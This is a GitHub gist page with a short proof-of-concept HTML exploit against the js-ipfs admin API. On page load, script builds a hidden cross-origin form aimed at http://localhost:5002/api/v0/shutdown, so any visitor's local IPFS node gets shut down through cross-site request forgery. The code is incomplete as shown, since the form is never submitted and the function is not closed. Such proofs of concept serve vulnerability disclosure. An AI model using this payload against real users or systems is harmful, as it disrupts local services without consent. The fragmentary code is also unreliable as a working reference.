Skip to content

Instantly share code, notes, and snippets.

Last active May 5, 2021 22:43
What would you like to do?
poc for jsipfs admin interface arbitrary write
<!doctype html>
function callBypassingCORS(target){
let elem = document.createElement("form");
elem.setAttribute("method", "post");
elem.setAttribute("action", target);
elem.setAttribute("target", "__dummy__")
window.onload = function(){
callBypassingCORS("http://localhost:5002/api/v0/shutdown"); //bye
setTimeout(function(){callBypassingCORS("http://localhost:5002/api/v0/shutdown"); }, 1000); //make it work for gistpreview :D
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment